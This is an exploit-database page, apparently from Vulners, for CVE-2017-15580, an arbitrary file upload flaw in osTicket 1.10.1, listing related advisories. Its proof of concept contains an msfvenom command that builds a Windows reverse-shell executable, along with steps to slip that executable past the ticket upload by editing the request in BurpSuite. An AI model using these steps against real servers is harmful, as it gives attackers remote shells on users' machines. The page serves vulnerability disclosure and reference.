Lucene search
K

osTicket 1.10.1 - Arbitrary File Upload

🗓️ 08 Aug 2018 00:00:00Reported by Rajwinder SinghType 
exploitpack
 exploitpack
👁 49 Views

osTicket 1.10.1 allows arbitrary file uploads without validation, enabling reverse shell execution.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
osTicket 1.10.1 Shell Upload Vulnerability
25 Oct 201700:00
zdt
BDU FSTEC
The vulnerability of the tickets.php script in the osTicket customer support system, which allows a perpetrator to upload malicious files.
2 Feb 201800:00
bdu_fstec
CNVD
OsTicket File Upload Vulnerability
26 Oct 201700:00
cnvd
CVE
CVE-2017-15580
23 Oct 201708:00
cve
Cvelist
CVE-2017-15580
23 Oct 201708:00
cvelist
Exploit DB
osTicket 1.10.1 - Arbitrary File Upload
8 Aug 201800:00
exploitdb
NVD
CVE-2017-15580
23 Oct 201708:29
nvd
OSV
CVE-2017-15580
23 Oct 201708:29
osv
Packet Storm
osTicket 1.10.1 Shell Upload
25 Oct 201700:00
packetstorm
Prion
Design/Logic Flaw
23 Oct 201708:29
prion
Rows per page
# Exploit Title: osTicket 1.10.1 - Arbitrary File Upload
# Exploit Author: r3j10r (Rajwinder Singh)
# Date: 2018-08-08
# Vendor Homepage: http://osticket.com/
# Software Link: http://osticket.com/download
# Version: osTicket v1.10.1
# CVE-2017-15580

# Vulnerability Details:
# osTicket application provides a functionality to upload 'html' files 
# with associated formats. However, application does not properly validate 
# the content of file and accepts any type of files.

# Proof-of-Concept:
# Uploaded shell to get reverse shell of end user for the demo purpose.

1. Created a valid '.html' file to bypass client-side validations.
 <html>
  <title>test</title>
  <body>
   <p>test page</p>
  </body>
 </html>
2. Created a reverse shell with '.exe' file extension using msfvenom.
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=<YOUR IP> LPORT=4444 -b "\x00" -e <encoder> -f exe -o reverse.exe
3. Intercepted the request in BurpSuite and changed file extension '.html' to '.exe' and its content
4. Received a valid response from server along with uploaded malicious file.
5. Got reverse shell after execution of the uploaded payload.

# Affected Component:
Parameter: tickets.php?id=<ticket_number>#reply

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation